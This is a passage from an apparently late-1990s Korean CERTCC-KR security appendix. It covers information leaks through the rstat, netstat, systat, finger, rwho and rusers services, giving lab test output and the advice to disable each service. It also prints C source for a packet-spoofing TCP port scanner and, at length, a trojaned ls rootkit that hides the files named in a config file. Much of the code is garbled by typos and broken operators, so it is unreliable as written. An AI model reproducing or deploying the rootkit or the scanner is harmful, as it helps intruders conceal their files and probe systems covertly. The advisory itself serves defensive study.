Page 290: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* 2. didn't send all the packet, but it's not time for another send

* 3. didn't send all the packets and it is time for aother send.

*/

if(nextport(1) !=NULL)

if(udiff > usecdelay)

{

FD_ZERO(&west);

FD_SET(rawsock , &west);

select(FD_SETSIZE, &rset, &west, NULL, NULL);

} else

{

del.tv_sec = 0;

del.tv_usec = usecdelay;

selec(FD_SETSIZE, &rset, NULL, NULL, &del);

}

else

select(FD_SETSIZE, &rset, NULL, NULL, NULL);

if(FD_ISSET(tcpsock, &rset)) /* process the reply */

{

fromlen = sizrof(from);

recvfrom(tcpsock, &buf, 3000, 0,

(struct sockaddr *)&from, &fromlen);

if(from.sin_addr.s_addr == destaddr.sin_addr.s_addr)

if(ntohs(tcp->th_port) == STCP_PORT)

{

printf("* got reply");

readport = portbynum(ntohs(tcp->th_sport));

if(readport == NULL)

printf("--- bad port");

else

{

sendthreshold = 0;

if(!readport->state)

{

readport->ttl = ip->ttl;

readport->window = tcp->th_win;

Page 291: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(tcp->th_flags & TH_RST)

{

readport->state = -1;

printf(" (RST)");

if (readport->ttl <65) printf("(short ttl)");

if (readport->window > 0) printf("(big window)");

}

else

if (tcp-th_flags & (TH_ACK | TH_SYN))

{

readport->state = 1;

printf(" (SYN+ACK)");

tcpip_send(rawsock, &destaddr,

spoof_addr, destaddr.sin_addr.s_addr,

STCP_PORT, readport->n,

TH_RST,

readport->seq++, 0,

512,

NULL,

0);

}

else

{

readport->stat=2;

printf(" (UNEXPECTED)");

tcpip_send(rawsock, &destaddr,

spoof_addr, destaddr.sin_addr.s_addr,

STCP_PORT, readport->n,

TH_RST,

readport->seq++, 0,

512,

NULL,

0);

}

}

else

printf(" (duplicate)");

}

Page 292: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

printf("₩n");

fflush(stdout);

}

}

if(nextport(1) != NULL)

if(FD_ISSET(rawsock, &wset)) /* process the sends */

{

readport = nextport(0);

destaddr.sin_port = htons(readport->n);

printf("* sending to port %d ", ntohs(destaddr.sin_port));

readport->seq = lrand48();

readport->sends++;

tcpip_send(rawsock, &destaddr,

spoof_addr, destaddr.sin_addr.s_addr,

STCP_PORT, ntohs(destaddr.sin_port),

scanflags,

readport->seq++, lrand48(),

512,

NULL,

0);

gettimeofday(&waitsend, NULL);

FD_ZERO(&west);

printf("₩n");

if((++sendthreshold > STCP_THRESHOLD) && (slowfactor))

{

`printf("₩n₩n -- THRESHOLD CROSSED - SLOWING UP SENDS₩n₩n");

usecdelay *= slowfactor;

sendthreshold = 0;

}

}

}

}

Page 293: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rstat-*-구성

rstat-*-config

Page 294: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rstat-*-config

rstat-*-구성

문서번호

KH98-028

문서제목

rstat-*-구성(rstat-*-config)

관련 응용프로그램

/usr/bin/rup, /usr/openwin/bin/perfmeter

관련 운영체제

Sun SunOS4.1.x Solaris2.x

취약점 분석

취약점 이해

- 원격 시스템에 rpc.rstad 데몬이 수행되고 있으면 그 시스템의 kernal로부터 rup명령과

perfmeter 명령을 이용하여 시스템의 사용도(paging, swapping, 디스크, 패킷, cpu등)에 대

한 정보를 입수 할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

-원격 시스템에 rpc.rstatd 데몬이 수행되고 있으면 그 시스템의 kernal로부터 rup명령과

perfmeter 명령을 이용하여 시스템의 사용도(paging, swapping, 디스크, 패킷, cpu등)에 대

한 정보를 입수 할 수 있다.

해킹 소스 프로그램

해킹 시험 결과

flat% rup

210.116.239. up 5 days, 7:05, load averatge: 0.00, 0.00, 0.01

flat up 11 days, 5:46, load average: 0.06, 0.07, 0.05

210.116.239. up 7 days, 6:21, load average: 0.00, 0.00, 0.01

210.116.239. up 10 days, 7:08, load average: 0.00, 0.00, 0.01

Page 295: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

target.kisa. up 8:56, load average: 0.02, 0.00, 0.00

210.116.239. up 1 day, 12:01, load average: 0.18, 0.04, 0.01

flat%

해킹흔적 확인 방법

대응 방법

-반드시 필요하지 않는 경우, rpc.rstatd 데몬을 실행시키지 않는다 inetd.conf 파일에서

rstat 관련 행을 # 으로 막는다

Page 296: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

netstat-*-구성

netstat-*-config

Page 297: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

netstat-*-config

netstat-*-구성

문서번호

KH98-029

문서번호

netstat-*-구성(netstat-*-config)

관련응용프로그램

/usr/bin/netstat

관련응용체제

Sun SunOS 4.1.x Solaris 2.x

취약점 분석

취약점 이해

-inetd 데몬을 이용한 netstat 명령은 원격 호스트 네트워크 관련 여러 정보들을 보여준다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

해킹시험 결과

telnet 2210.116.239.50 netstat | more

Trying 210.116.239.50...

Connected to 210.116.239.50.

Escape character is '^]'.

TCP

Local Address Remote Address Swind Send-Q Rwind Recv-Q State

------- ------- ------ ---- ---- ------

flat.32782 flat.32774 32768 0 8192 0 ESTABLISHED

flat.32774 flat.32782 8192 0 32768 0 ESTABLISHED

flat.32785 flat.32780 32768 0 8192 0 ESTABLISHED

Page 298: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

flat.32780 flat.32785 8192 0 32768 0 ESTABLISHED

flat.32788 flat.32787 32768 0 8192 0 ESTABLISHED

flat.32787 flat.32788 8192 0 32768 0 ESTABLISHED

flat.32791 flat.32780 32768 0 8192 0 ESTABLISHED

flat.32780 flat.32791 8192 0 32768 0 ESTABLISHED

flat.32794 flat.32793 32768 0 8192 0 ESTABLISHED

flat.32793 flat.32794 8192 0 32768 0 ESTABLISHED

flat.32797 flat.32780 32768 0 8192 0 ESTABLISHED

flat.32780 flat.32797 8192 0 32768 0 ESTABLISHED

flat.32800 flat.32799 32768 0 8192 0 ESTABLISHED

flat.32799 flat.32800 8192 0 32768 0 ESTABLISHED

해킹 흔적 확인 방법

대응 방법

- 반드시 필요하지 않은 경우, netstatd 데몬을 실행시키지 않는다 inef.conf 파일에서

netstat 행을 # 으로 막는다

Page 299: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

systat-*-구성

systat-*-config

Page 300: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

systat-*-config

systat-*-구성

문서번호

KH98-030

문서제목

systat-*구성 (systat-*-config)

관련 응용프로그램

/usr/bin/ps

관련 운영체제

Sun SunOS4.1.x Solaris2.x

취약점 분석

취약점 이해

- systat 서비스는 ps -ef 명령을 이용하여 원격 시스템에서 수행중인 프로세스에 대한 자

세한 정보를 보여준다. (프로세스의 디렉토리 위치를 포함)

취약점 확인 방법

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

해킹시험 결과

telnet 210.116.239.50 systat | more

Trying 210.116.239.50...

Connected to 210.116.239.50.

Escape character is '^]'.

UID PID PPID C STIME TTY TIME CMD

root 0 0 0 Feb 13 ? 0:00 sched

root 1 0 0 Feb 13 ? 0:07 /etc/init -

root 2 0 0 Feb 13 ? 0:01 pageout

root 3 0 0 Feb 13 ? 6:19 fsflush

Page 301: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

root 183 182 0 Feb 13 ? 0:00 Suntechd -T flat 4 -c

/etc/opt/licenses/license_combined

root 168 1 0 Feb 13 ? 0:01 /usr/lib/lpsched

root 255 1 0 Feb 13 ? 0:08 /usr/lib/saf/sac -t 300

root 97 1 0 Feb 13 ? 0:25 /usr/sbin/rpcbind

root 107 1 0 Feb 13 ? 0:00 /usr/sbin/kerbd

root 105 1 0 Feb 13 ? 0:00 /usr/lib/netsvc/yp/ypbind

root 114 1 0 Feb 13 ? 0:03 /usr/sbin/inetd -s

root 119 1 0 Feb 13 ? 0:00 /usr/lib/nfs/lockd

root 99 1 0 Feb 13 ? 0:00 /usr/sbin/keyserv

root 117 1 0 Feb 13 ? 0:00 /usr/lib/nfs/statd

root 138 1 0 Feb 13 ? 0:00 /usr/lib/autofs/automount

root 174 168 0 Feb 13 ? 0:00 Ipnet

root 142 1 0 Feb 13 ? 0:01 /usr/sbin/sbin/syslogd

....

해킹 흔적 확인 방법

대응 방법

- 반드시 필요하지 않은 겨우, systat 데몬을 실행시키지 않는다 inet.conf 파일에서 systat

행을 # 으로 막는다.

Page 302: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

finger-*_구성

finger-*-_Config

Page 303: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

finger-*-_Config

finger-*_구성

문서번호

KH98-031

문서제목

finger-*_구성 (finger-*-Config)

관련응용프로그램

/user/bin/finger

관련 운영체제

finger 서비스를 지원하는 모든 운영체제

취약점 분석

취약점 이해

- finger 는 원격 호스트의 로그인 사용자에 대한 자세한 정보를 보여 준다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

해킹시험 결과

flat% finger @localhost

[localhost]

Login name TTY Idle When Where

root Super-User console 9 Fri 17:38 :0

serene ??? pts/9 1 Tru 17:49 210.116.239.127

serene ??? pts/10 21 Tru 23:01 210.116.239.127

kadosu ??? pts/11 1 Tru 23:16 210.116.239.49

flat%

해킹흔적 확인방법

Page 304: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

대응방법

- 반드시 필요하지 않은 경우, finger 서비스를 제공하지 않는다.

inetd.conf 파일에서 finger 행을 #으로 막는다.

- tcp-wrapper 와 같은 툴을 이용하여 finger 서비스에 대한 로그를 기록한다.

Page 305: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rwho-*-구성

rwho-*-config

Page 306: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rwho-*-config

rwho-*-구성

문서번호

KH98-032

문서제목

rwho-*-구성 (rwho-*-config)

관련응용프로그램

/user/bin/rwho

관련 운영체제

모든 유닉스 운영체제

취약점 분석

취약점 이해

- rwho 명령은 로컬 네트워크상의 모든 시스템의 로그인 정보를 보여 준다.

- in.rwhod 데몬이 rwho 서비스를 제공해 준다.

취약점 확인 방법

- /etc/inetd.conf 파일에 in.rwhod 행이 활성화되어 있는지 확인한다.

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

해킹시험 결과

flat% rwho -a

kadosu flat:pts/11 Feb 24 23:16 :02

root flat:console Feb 13 17:38 99:59

root flat:pts/2 Feb 13 17:38 79:45

root flat:pts/3 Feb 22 20:20

root flat:pts/4 Feb 13 17:38 :04

root flat:pts/5 Feb 20 15:17 :04

root flat:pts/6 Feb 22 19:30 9:10

root flat:pts/7 Feb 22 22:34 27:21

root flat:pts/8 Feb 22 23:22 23:55

Page 307: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

serene flat:pts/10 Feb 24 23:01 :28

serene flat:pts/9 Feb 24 17:49

해킹흔적 탐지방법

대응방법

- 반드시 필요하지 않은 경우, in.rwhod 데몬을 실행시키지 않는다.

기본 설정시 실행되지 않도록 되어 있다.

Page 308: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rusers-*-구성

rusers-*-config

Page 309: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

rusers-*-config

rusers-*-구성

문서번호

KH98-033

문서제목

rusers-*-구성 (rusers-*-config)

관련응용프로그램

/user/bin/rusers

관련 운영체제

모든 운영체제

취약점 분석

취약점 이해

- rusers 명령은 원격 네트워크상의 특정 시스템의 로그인 정보를 보여 준다.

- rpc.rusersd 데몬이 rusers 서비스를 제공해 준다.

취약점 확인 방법

- inetd.conf 파일에서 rusersd 행이 활성화되어 있는지 확인한다.

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

해킹시험 결과

flat% rusers -a

Sending broadcast for rusersd protocol version 3...

210.116.239.63.1 root

210.116.239.55.1 root

flat root serene serene kadosu

210.116.239.128 terry webpub

Sending broadcast for rusersd protocol version 2...

target.kisa.or.kr

210.116.239.57.4 root root

Page 310: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

flat%

해킹흔적 확인방법

대응방법

- 반드시 필요하지 않은 경우, rusers 서비스를 제공하지 않는다.

inetd.conf 파일에서 rusersd 행을 #으로 막는다.

Page 311: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

트로이목마_ls-*-해킹도구

trojaned_ls-*-hack_tool

Page 312: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

trojaned_ls-*-hack_tool

트로이목마_ls-*-해킹도구

문서번호

KH98-034

문서제목

트로이목마_ls-*-해킹도구(trojaned_ls-*-hack_tool)

관련응용프로그램

/user/bin/ls

관련 운영체제

Sun SunOS 4.1.x(기타 유닉스 운영체제용 버전도 제공되고 있슴)

취약점 분석

취약점 이해

- 이 프로그램은 특정 디렉토리와 파일을 숨기기 위하여 사용하는 트로이목마 ls 프로그램

으로 사용자들이 ls 명령을 실행시킬 때, /dev/ttypr 에 등록된 파일이나 디렉토리는 보이지

않게 된다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

- 첨부

해킹시험 결과

해킹흔적 확인방법

대응방법

- 루트 킷트(rootkit) 검사도구를 이용한다.

ftp://ftp.fu-berlin.de/unix/security/chkexploit/chkrootkit-0.8.tar.gz

- 파일 시스템 무결성 검사도구(tripwire, md5 등)를 사용하여 파일 변조 여부를 점검한다.

Page 313: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*+

* Modified ls command to mask certain files from being

* listed with ls command. *NOT FULLY TESTED*

+*/

/*

* Copyright (c) 1980 Regents of the University of California.

* All right reserved. The Berkeley software License Agreement.

* specifies the terms and conditions for redistribution.

*/

#ifndef lint.

char copyright[ ] =

"@(#) Copyright (c) 1980 Regents of the University of Califonia.₩n₩

All right reserved.₩n";

#endif not lint

#ifndef lint

static char sccsid[]="@(#)ls.c.1.1 91/11/13 SMI";/*from UCB 5.6

5/12/86*/

#endif not lint

/*

*ls

*

* 4.2bsd version for symbolic links, variable length

* directory entries, block size in the inode, etc.

*/

#include<sys/param.h>

#include<sys/stat.h>

#include<sys.dir.h>

#include<studio.h>

#include<sgtty.h>

#include<errno.h>

Page 314: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#include<ctype.h>

#include<locale.h>

#include"config.h"

#define kbytes(size) (((size) + 1023)/1024)

struct afile {

char ftype; /*file type, e.g. 'd', 'c', 'f'*/

ino_t fnum; /*inode number of file */

short fflags; /* mode&-SIFMT, perhaps ISARG */

short fnl; /* number od links */

uid_t fuid; /* owner id */

gid_t fgid; /* group id */

long fsize; /* file size */

long fblks; /* number of blocks used */

time_t fmtime; /* time(modify or access or create) */

char *fname; /* file name */

char *flinkto; /* symbolic link value */

}

#define ISARG 0x8000 /* extra''mode''*/

struct subdirs {

char *sd_name;

struct subdirs *sd_next;

} *subdirs;

int aflg, dflg, gflg, lflg, sflg, tflg, uflg, iflg, fflg, cflg, rflg

=1;

int dflg, Aflg, Cflg, Fflg, Lflg, Rflg;

int usertabs;

time_t now, sixmonthsago, onehourfromnow;

char *dotp=".";

struct winsize win;

int twidth;

Page 315: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

struct afile*gstat();

int fcmp();

char *cat(), *savestr();

char *fmtentry();

static char *getname(), *getgroup();

char *ctime();

char *malloc(), *calloc(), *realloc();

char *sprintf(), *strcpy(), *strcat();

/*+

* Hack vars - oops they're global

* but wtf cares, its a hack.

+*/

#define STR_SIZE 128

#define SHOWFLAG /* Able to list files with 'ls -/' command */

struct h_st {

struct h_st *next;

char filename[STR_SIZE];

}

struct h_st *hack_list;

struct h_st *h_tmp;

char tmp_str[STR_SIZE];

FILE *fp_hack;

int showall=0;

/*+ End hack vars +*/

main(argc, argv)

int argc;

char *argv[ ];

{

int I;

struct afile *fp0, *fplst;

register struct afile *fp;

Page 316: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

struct sgttyb sgbuf;

argc-, argv++;

if (getuid)=0)

Aflag++;

(void)time(&now);

sixmonthsago = now - 6L*30L*24L*60L*60L;

onehourfromnow = now + 60L*60L;

now += 60;

twidth = 80

if (isatty(1)){

qflag = Cflag = 1;

(void)gtty(1, &sgbup);

if (ioctl(1, TIOCGWINSZ, &win) != -1)

twidth = (win.ws_col == 0?80:win.ws_col);

if((sgbup.sg_flags & XTABS) !=XTABS)

usetabs = 1;

}else

usetabs = 1;

setlocale(LC_ALL, ""); /*get local environment

*/

/*+ Read in list of files to block +*/

h_tmp=(struct h_st*)malloc(sizeof(Struct h_st));

hack_list=h_tmp;

if (fp_hack=fopen (LCONF, "r")){

while(fgets(tmp_str, 126, fp_hck)){

h_tmp->next=(struct h_st*)malloc(sizeof(struct

h_st));

strcpy (h_tmp->filename, tmp_str));

h_tmp->filename[strlen(h_tmp->filename)-1]='₩0';

h_tmp=h_tmp->next;

}

}

h_tmp->next=NULL;

/*+ On With the program +*/

Page 317: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

while(argc>0 && **argv =='-'){

(*argv)++;

while (**argv)switch (*(*argv)++){

case 'C':

Cflg = 1; break;

case 'q':

qflg = 1; break;

case '1':

Cflg = 0; break;

case 'A':

aflg++; break;

case 'c':

cflg++; break;

case 's':

sflg++; break;

case 'd':

dflg++; break;

case 'g':

gflg++; break;

case 'l':

lflg++; break;

case 'r':

rflg = -1; break;

case 't':

tflg++; break;

case 'u':

uflg++; break;

case 'i':

iflg++; break;

case 'f':

fflg++; break;

case 'L':

Lflg++; break;

case 'F':

Fflg++; break;

case 'R':

Rflg++; break;

#if defined (SHOWFLAG)

Page 318: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

case '/':

showall++;

break;

#endif

}

argc--, argv++;

}

if(fflg){

aflg++; lflg = 0; sflg = 0; tflg = 0;

}

if(lflg)

Cflg = 0;

if(argc == 0){

argc++;

argv = &dotp;

}

fp = (struct afile *)calloc(argc, sizeof(struct afile));

if (fp == 0) {

fpintf(stderr, "ls: out of memory₩n");

exit(1);

}

fp0 - fp {

for (i = 0; i<argc; I++){

if (gstat(fp, *argv, 1,(int *)0)){

fp->fname = *argv;

fp->fflags |= ISARG;

fp++;

}

argv++;

}

fplast = fp;

qsort(fp0, fplast, - fp0, sizeof (struct afile), fcmp);

if(dflg){

format(fp0, fplast);

exit(0);

}

Page 319: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(fflg)

fp = fp0;

else {

for (fp = fp0; fp<fplast && fp fp->ftype !='d'; fp++)

continue;

formatf(fp0, fp);

}

if(fp<fplast){

if (fp>fp0)

pintf("₩n");

for (;;){

formatd(fp->fname, argc>1);

while(subdirs){

struct subdirs *t;

t = subdirs; subdirs = t->sd_next;

printf("₩n");

formatd(t->sd_name, 1);

cfree(t->sd_name);

cfree(char *)t);

}

if(++fp == fplast)

break;

printf("₩n");

}

}

exit(0);

/* NOTREACHED */

}

formatd(name, title)

char *name;

int title;

{

register struct afile *fp;

register struct subdirs *dp;

struct afile *dfp0, *cfplast;

int nkb;

nkb = getdir(name, &dfp0, &nfplast);

if (dfp0 == 0)

Page 320: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

return;

if (fflg == 0)

qsort(dfp0, dfplast - dfp0, sizeof (struct afile),

fcmp);

if (title)

printf("%s:₩n", name);

if (lflg || sflg)

printf("total %|d₩n", nkb);

formatf(dfp0, dfplast);

if (Rflg)

for (fp = dfplast - 1; fp >=dfp0; fp--){

if (fp->ftype !='d' ||

!strcmp(fp->fname,".")||

!strcmp(fp->fname,".."))

continue;

dp = (struct subdirs *)malloc(sizedof (struct

subdirs));

dp->sd_name = savestr(cat(name, fp->fname));

dp->sd_net = subdirs; subdirs = dp;

}

for (fp = dfp0; fp < dfplast; fp++){

if ((fp ->fflags&ISARG) == 0 && fp->fname)

cfree(fp->fname);

if(fp->flinkto)

cfree(fp->flinkto);

}

cfree((char *)dfp0);

}

getdir(dir, pfp0, pfplast)

char *dir;

struct afile **pfp0, **pfplast;

{

register struct afile *fp;

DIR *dirp;

register struct afile *fp;

int nb, ennt = 20;

Page 321: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/*

* This code (opendir, readdir, and the "for" loop) is arranged

in

* this strange manner to handle the case where UNIX lets root

open

* any directory for reading but NFS code not let root read the

* opened directory.

*/

*pfp0 = *pfplast = NULL;

if ((dirp =opendir(dir))=NULL) {

printf("%s unreadable₩n", dir); /* not stderr!

*/

closedir(dirp);

return (0);

}

fp=*pfp0=(struct afile*)calloc(nent, sizeof (struct

afile));

*pfplast=*pfp0+nent;

nb=0;

for (;dp!=NULL;dp=readdir(dirp)) {

if (dp->d_ino=0)

continue;

/*+

* mask out the fles in the list we read earlier. if

* showflag is >0 then we sould not d any masking. Note

* that each time a file is read from te structure it is

* compared. If you have 1000 fles in your Is blockout

* file, this migt go a bit slow.

*

* Note, I don't like continue but its an easy work around

+*/

if(!showall)

for(h_tmp=hack_list;h_tmp->next;

h_tmp=h_tmp->next)

if(!(strcmp(dp->d_name,

h_tmp->filename)))

break;

/* More kludge - bleah */

if(!(strcmp(dp->d_name, h_tmp->filename)))

continue;

Page 322: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(aflg=0 && dp->d_name[0]='.' &&

(Aflg=0 || dp->d_name[1]=0 ||

dp->d_name[1]='.' && dp->d_name[2]=0))

continue;

if(gstat(fp, cat(dir, dp->d_name), Fflg+Rflg, &nb)=

0)

continue;

fp->fnum=dp->d_ino;

fp->fname=savestr(dp->d_name);

fp++;

if(fp=*pfplast) {

*pfp0=(struct afile*)realloc((char*)*pfp0,

2*nent*sizeof (struct afile));

if(*pfp0=0) {

fprintf(stderr, "Is:out of memory₩n");

exit(1);

}

fp+*pfp0+nent;

*pfplat=fp+nent;

nent*=2;

}

}

closedir(dirp);

*pfplast=fp;

return (kbytes(dbtob(nb)));

}

int stat(), lstat();

struct afile*

gstat(fp, file, statarg, pnb)

register struct afile *fp;

char *file:

int statarg;

int *pnb; /*(int*)0 if file is ISARG*/

{

int (*starf)()=Lflg?stat : lstat;

char buf[BUFSIZ]; int cc;

static struct afile azerofile;

Page 323: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

*fp=azerofile;

fp->fflags=0;

fp->fnum=0;

fp->ftype='-';

if(statarg || sflg || lflg || tflg || cflg) {

struct stat stb, stb1;

if((*statf)(file, &stb)<<0) {

if(statf==lstat || lstat(file, &stb)<0) {

if(errno == ENOENT)

fprint(stderr, "%s not

found₩n", file);

else {

fprint(stderr, "ls:");

perror(file);

}

return (0);

}

}

fp->fblks = stb.st_blocks;

fp->fsize = stb.st_size;

switch (stb.st_mode & S_IFMT){

case S_IFDIR:

fp->ftype = 'd'; break;

case S_IFBLK:

fp->ftype = 'b'; fp->fsize = stb.st_rdev; break;

case S_IFCHR:

fp->ftype = 'c'; fp->fsize = stb.st_rdev; break;

case S_IFSOCK:

fp->ftype = 's'; fp->fsize = 0; break;

case S_IFIFO:

fp->ftype = 'p'; fp->fsize = 0; break;

case S_IFLNK:

fp->ftype = 'l';

if(lflg){

cc = readlink(file, buf, BUFSIZ);

if(cc.=0){

/*

Page 324: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* ere we follow the symbolic

* link to generate proper

* Fflg mark for the object,

* eg. /bin -> /pub/bin/

*/

buf[cc] = 0;

if(Fflg && !stat(buf, &stb1))

switch (stb1.st_mode & S_IFMT){

case S_IFDIR:

buf[cc++] ='/';

break;

case S_IFSOCK:

buf[cc++] = '=';

break;

default:

if ((stb1.st_mode & -S_IFMT)

& 0111

buf[cc++] ='*';

break;

}

buf[cc] =0;

fp->flinkto = savestr(buf);

}

break;

}

/*

* this is a hack from UCB to avoid having

* ls bin behave differently from ls /bin/

* when /bin is a symbolic link. We hack the

* hack to have that happen, but only for

* explicit arguments, by inspecting pnb.

*/

if (pnb != (int *)0 || stat(file, &stb1) < 0)

breck;

if ((stb1.st_mode & S_IFMT) == S_IFDIR) {

stb = stb1;

